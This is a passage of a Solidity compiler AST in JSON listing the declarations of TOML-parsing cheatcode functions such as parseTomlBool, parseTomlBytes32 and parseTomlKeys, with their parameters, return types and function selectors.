`address[]`."},"functionSelector":"65c428e7","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlAddressArray","nameLocation":"64231:21:13","parameters":{"id":14730,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14727,"mutability":"mutable","name":"toml","nameLocation":"64269:4:13","nodeType":"VariableDeclaration","scope":14735,"src":"64253:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14726,"name":"string","nodeType":"ElementaryTypeName","src":"64253:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14729,"mutability":"mutable","name":"key","nameLocation":"64291:3:13","nodeType":"VariableDeclaration","scope":14735,"src":"64275:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14728,"name":"string","nodeType":"ElementaryTypeName","src":"64275:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64252:43:13"},"returnParameters":{"id":14734,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14733,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14735,"src":"64343:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":14731,"name":"address","nodeType":"ElementaryTypeName","src":"64343:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":14732,"nodeType":"ArrayTypeName","src":"64343:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"64342:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14745,"nodeType":"FunctionDefinition","src":"64439:95:13","nodes":[],"documentation":{"id":14736,"nodeType":"StructuredDocumentation","src":"64367:67:13","text":"Parses a string of TOML data at `key` and coerces it to `bool`."},"functionSelector":"d30dced6","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBool","nameLocation":"64448:13:13","parameters":{"id":14741,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14738,"mutability":"mutable","name":"toml","nameLocation":"64478:4:13","nodeType":"VariableDeclaration","scope":14745,"src":"64462:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14737,"name":"string","nodeType":"ElementaryTypeName","src":"64462:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14740,"mutability":"mutable","name":"key","nameLocation":"64500:3:13","nodeType":"VariableDeclaration","scope":14745,"src":"64484:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14739,"name":"string","nodeType":"ElementaryTypeName","src":"64484:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64461:43:13"},"returnParameters":{"id":14744,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14743,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14745,"src":"64528:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14742,"name":"bool","nodeType":"ElementaryTypeName","src":"64528:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"64527:6:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14756,"nodeType":"FunctionDefinition","src":"64614:109:13","nodes":[],"documentation":{"id":14746,"nodeType":"StructuredDocumentation","src":"64540:69:13","text":"Parses a string of TOML data at `key` and coerces it to `bool[]`."},"functionSelector":"127cfe9a","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBoolArray","nameLocation":"64623:18:13","parameters":{"id":14751,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14748,"mutability":"mutable","name":"toml","nameLocation":"64658:4:13","nodeType":"VariableDeclaration","scope":14756,"src":"64642:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14747,"name":"string","nodeType":"ElementaryTypeName","src":"64642:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14750,"mutability":"mutable","name":"key","nameLocation":"64680:3:13","nodeType":"VariableDeclaration","scope":14756,"src":"64664:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14749,"name":"string","nodeType":"ElementaryTypeName","src":"64664:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64641:43:13"},"returnParameters":{"id":14755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14754,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14756,"src":"64708:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":14752,"name":"bool","nodeType":"ElementaryTypeName","src":"64708:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":14753,"nodeType":"ArrayTypeName","src":"64708:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"64707:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14766,"nodeType":"FunctionDefinition","src":"64802:104:13","nodes":[],"documentation":{"id":14757,"nodeType":"StructuredDocumentation","src":"64729:68:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes`."},"functionSelector":"d77bfdb9","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytes","nameLocation":"64811:14:13","parameters":{"id":14762,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14759,"mutability":"mutable","name":"toml","nameLocation":"64842:4:13","nodeType":"VariableDeclaration","scope":14766,"src":"64826:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14758,"name":"string","nodeType":"ElementaryTypeName","src":"64826:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14761,"mutability":"mutable","name":"key","nameLocation":"64864:3:13","nodeType":"VariableDeclaration","scope":14766,"src":"64848:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14760,"name":"string","nodeType":"ElementaryTypeName","src":"64848:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64825:43:13"},"returnParameters":{"id":14765,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14764,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14766,"src":"64892:12:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":14763,"name":"bytes","nodeType":"ElementaryTypeName","src":"64892:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"64891:14:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14776,"nodeType":"FunctionDefinition","src":"64987:101:13","nodes":[],"documentation":{"id":14767,"nodeType":"StructuredDocumentation","src":"64912:70:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes32`."},"functionSelector":"8e214810","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytes32","nameLocation":"64996:16:13","parameters":{"id":14772,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14769,"mutability":"mutable","name":"toml","nameLocation":"65029:4:13","nodeType":"VariableDeclaration","scope":14776,"src":"65013:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14768,"name":"string","nodeType":"ElementaryTypeName","src":"65013:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14771,"mutability":"mutable","name":"key","nameLocation":"65051:3:13","nodeType":"VariableDeclaration","scope":14776,"src":"65035:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14770,"name":"string","nodeType":"ElementaryTypeName","src":"65035:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65012:43:13"},"returnParameters":{"id":14775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14774,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14776,"src":"65079:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14773,"name":"bytes32","nodeType":"ElementaryTypeName","src":"65079:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"65078:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14787,"nodeType":"FunctionDefinition","src":"65171:139:13","nodes":[],"documentation":{"id":14777,"nodeType":"StructuredDocumentation","src":"65094:72:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes32[]`."},"functionSelector":"3e716f81","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytes32Array","nameLocation":"65180:21:13","parameters":{"id":14782,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14779,"mutability":"mutable","name":"toml","nameLocation":"65218:4:13","nodeType":"VariableDeclaration","scope":14787,"src":"65202:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14778,"name":"string","nodeType":"ElementaryTypeName","src":"65202:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14781,"mutability":"mutable","name":"key","nameLocation":"65240:3:13","nodeType":"VariableDeclaration","scope":14787,"src":"65224:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14780,"name":"string","nodeType":"ElementaryTypeName","src":"65224:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65201:43:13"},"returnParameters":{"id":14786,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14785,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14787,"src":"65292:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":14783,"name":"bytes32","nodeType":"ElementaryTypeName","src":"65292:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":14784,"nodeType":"ArrayTypeName","src":"65292:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"65291:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14798,"nodeType":"FunctionDefinition","src":"65391:111:13","nodes":[],"documentation":{"id":14788,"nodeType":"StructuredDocumentation","src":"65316:70:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes[]`."},"functionSelector":"b197c247","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytesArray","nameLocation":"65400:19:13","parameters":{"id":14793,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14790,"mutability":"mutable","name":"toml","nameLocation":"65436:4:13","nodeType":"VariableDeclaration","scope":14798,"src":"65420:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14789,"name":"string","nodeType":"ElementaryTypeName","src":"65420:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14792,"mutability":"mutable","name":"key","nameLocation":"65458:3:13","nodeType":"VariableDeclaration","scope":14798,"src":"65442:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14791,"name":"string","nodeType":"ElementaryTypeName","src":"65442:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65419:43:13"},"returnParameters":{"id":14797,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14796,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14798,"src":"65486:14:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":14794,"name":"bytes","nodeType":"ElementaryTypeName","src":"65486:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":14795,"nodeType":"ArrayTypeName","src":"65486:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"65485:16:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14808,"nodeType":"FunctionDefinition","src":"65582:96:13","nodes":[],"documentation":{"id":14799,"nodeType":"StructuredDocumentation","src":"65508:69:13","text":"Parses a string of TOML data at `key` and coerces it to `int256`."},"functionSelector":"c1350739","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlInt","nameLocation":"65591:12:13","parameters":{"id":14804,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14801,"mutability":"mutable","name":"toml","nameLocation":"65620:4:13","nodeType":"VariableDeclaration","scope":14808,"src":"65604:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14800,"name":"string","nodeType":"ElementaryTypeName","src":"65604:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14803,"mutability":"mutable","name":"key","nameLocation":"65642:3:13","nodeType":"VariableDeclaration","scope":14808,"src":"65626:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14802,"name":"string","nodeType":"ElementaryTypeName","src":"65626:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65603:43:13"},"returnParameters":{"id":14807,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14806,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14808,"src":"65670:6:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14805,"name":"int256","nodeType":"ElementaryTypeName","src":"65670:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"65669:8:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14819,"nodeType":"FunctionDefinition","src":"65760:110:13","nodes":[],"documentation":{"id":14809,"nodeType":"StructuredDocumentation","src":"65684:71:13","text":"Parses a string of TOML data at `key` and coerces it to `int256[]`."},"functionSelector":"d3522ae6","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlIntArray","nameLocation":"65769:17:13","parameters":{"id":14814,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14811,"mutability":"mutable","name":"toml","nameLocation":"65803:4:13","nodeType":"VariableDeclaration","scope":14819,"src":"65787:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14810,"name":"string","nodeType":"ElementaryTypeName","src":"65787:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14813,"mutability":"mutable","name":"key","nameLocation":"65825:3:13","nodeType":"VariableDeclaration","scope":14819,"src":"65809:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14812,"name":"string","nodeType":"ElementaryTypeName","src":"65809:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65786:43:13"},"returnParameters":{"id":14818,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14817,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14819,"src":"65853:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":14815,"name":"int256","nodeType":"ElementaryTypeName","src":"65853:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":14816,"nodeType":"ArrayTypeName","src":"65853:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"65852:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14830,"nodeType":"FunctionDefinition","src":"65934:111:13","nodes":[],"documentation":{"id":14820,"nodeType":"StructuredDocumentation","src":"65876:53:13","text":"Returns an array of all the keys in a TOML table."},"functionSelector":"812a44b2","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlKeys","nameLocation":"65943:13:13","parameters":{"id":14825,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14822,"mutability":"mutable","name":"toml","nameLocation":"65973:4:13","nodeType":"VariableDeclaration","scope":14830,"src":"65957:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14821,"name":"string","nodeType":"ElementaryTypeName","src":"65957:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14824,"mutability":"mutable","name":"key","nameLocation":"65995:3:13","nodeType":"VariableDeclaration","scope":14830,"src":"65979:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14823,"name":"string","nodeType":"ElementaryTypeName","src":"65979:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65956:43:13"},"returnParameters":{"id":14829,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14828,"mutability":"mutable","name":"keys","nameLocation":"66039:4:13","nodeType":"VariableDeclaration","scope":14830,"src":"66023:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":14826,"name":"string","nodeType":"ElementaryTypeName","src":"66023:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":14827,"nodeType":"ArrayTypeName","src":"66023:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"66022:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14840,"nodeType":"FunctionDefinition","src":"66125:106:13","nodes":[],"documentation":{"id":14831,"nodeType":"StructuredDocumentation","src":"66051:69:13","text":"Parses a string of TOML data at `key` and coerces it to `string`."},"functionSelector":"8bb8dd43","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlString","nameLocation":"66134:15:13","parameters":{"id":14836,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14833,"mutability":"mutable","name":"toml","nameLocation":"66166:4:13","nodeType":"VariableDeclaration","scope":14840,"src":"66150:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14832,"name":"string","nodeType":"ElementaryTypeName","src":"66150:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14835,"mutability":"mutable","name":"key","nameLocation":"66188:3:13","nodeType":"VariableDeclaration","scope":14840,"src":"66172:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14834,"name":"string","nodeType":"ElementaryTypeName","src":"66172:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66149:43:13"},"returnParameters":{"id":14839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14840,"src":"66216:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":14837,"name":"string","nodeType":"ElementaryTypeName","src":"66216:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66215:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14851,"nodeType":"FunctionDefinition","src":"66313:113:13","nodes":[],"documentation":{"id":14841,"nodeType":"StructuredDocumentation","src":"66237:71:13","text":"Parses a string of TOML data at `key` and coerces it to `string[]`."},"functionSelector":"9f629281","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlStringArray","nameLocation":"66322:20:13","parameters":{"id":14846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14843,"mutability":"mutable","name":"toml","nameLocation":"66359:4:13","nodeType":"VariableDeclaration","scope":14851,"src":"66343:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14842,"name":"string","nodeType":"ElementaryTypeName","src":"66343:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14845,"mutability":"mutable","name":"key","nameLocation":"66381:3:13","nodeType":"VariableDeclaration","scope":14851,"src":"66365:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14844,"name":"string","nodeType":"ElementaryTypeName","src":"66365:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66342:43:13"},"returnParameters":{"id":14850,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14849,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14851,"src":"66409:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":14847,"name":"string","nodeType":"ElementaryTypeName","src":"66409:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":14848,"nodeType":"ArrayTypeName","src":"66409:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"66408:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14861,"nodeType":"FunctionDefinition","src":"66507:98:13","nodes":[],"documentation":{"id":14852,"nodeType":"StructuredDocumentation","src":"66432:70:13","text":"Parses a string of TOML data at `key` and coerces it to `uint256`."},"functionSelector":"cc7b0487","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlUint","nameLocation":"66516:13:13","parameters":{"id":14857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14854,"mutability":"mutable","name":"toml","nameLocation":"66546:4:13","nodeType":"VariableDeclaration","scope":14861,"src":"66530:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14853,"name":"string","nodeType":"ElementaryTypeName","src":"66530:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14856,"mutability":"mutable","name":"key","nameLocation":"66568:3:13","nodeType":"VariableDeclaration","scope":14861,"src":"66552:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14855,"name":"string","nodeType":"ElementaryTypeName","src":"66552:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66529:43:13"},"returnParameters":{"id":14860,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14859,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14861,"src":"66596:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14858,"name":"uint256","nodeType":"ElementaryTypeName","src":"66596:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"66595:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14872,"nodeType":"FunctionDefinition","src":"66688:112:13","nodes":[],"documentation":{"id":14862,"nodeType":"StructuredDocumentation","src":"66611:72:13","text":"Parses a string of TOML data at `key` and coerces it to `uint256[]`."},"functionSelector":"b5df27c8","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlUintArray","nameLocation":"66697:18:13","parameters":{"id":14867,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14864,"mutability":"mutable","name":"toml","nameLocation":"66732:4:13","nodeType":"VariableDeclaration","scope":14872,"src":"66716:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14863,"name":"string","nodeType":"ElementaryTypeName","src":"66716:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14866,"mutability":"mutable","name":"key","nameLocation":"66754:3:13","nodeType":"VariableDeclaration","scope":14872,"src":"66738:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14865,"name":"string","nodeType":"ElementaryTypeName","src":"66738:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66715:43:13"},"returnParameters":{"id":14871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14870,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14872,"src":"66782:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":14868,"name":"uint256","nodeType":"ElementaryTypeName","src":"66782:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":14869,"nodeType":"ArrayTypeName","src":"66782:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"66781:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14880,"nodeType":"FunctionDefinition","src":"66840:93:13","nodes":[],"documentation":{"id":14873,"nodeType":"StructuredDocumentation","src":"66806:29:13","text":"ABI-encodes a TOML table."},"functionSelector":"592151f0","implemented":false,"kind":"function","modifiers":[],"name":"parseToml","nameLocation":"66849:9:13","parameters":{"id":14876,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14875,"mutability":"mutable","name":"toml","nameLocation":"66875:4:13","nodeType":"VariableDeclaration","scope":14880,"src":"66859:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14874,"name":"string","nodeType":"ElementaryTypeName","src":"66859:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66858:22:13"},"returnParameters":{"id":14879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14878,"mutability":"mutable","name":"abiEncodedData","nameLocation":"66917:14:13","nodeType":"VariableDeclaration","scope":14880,"src":"66904:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":14877,"name":"bytes","nodeType":"ElementaryTypeName","src":"66904:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"interna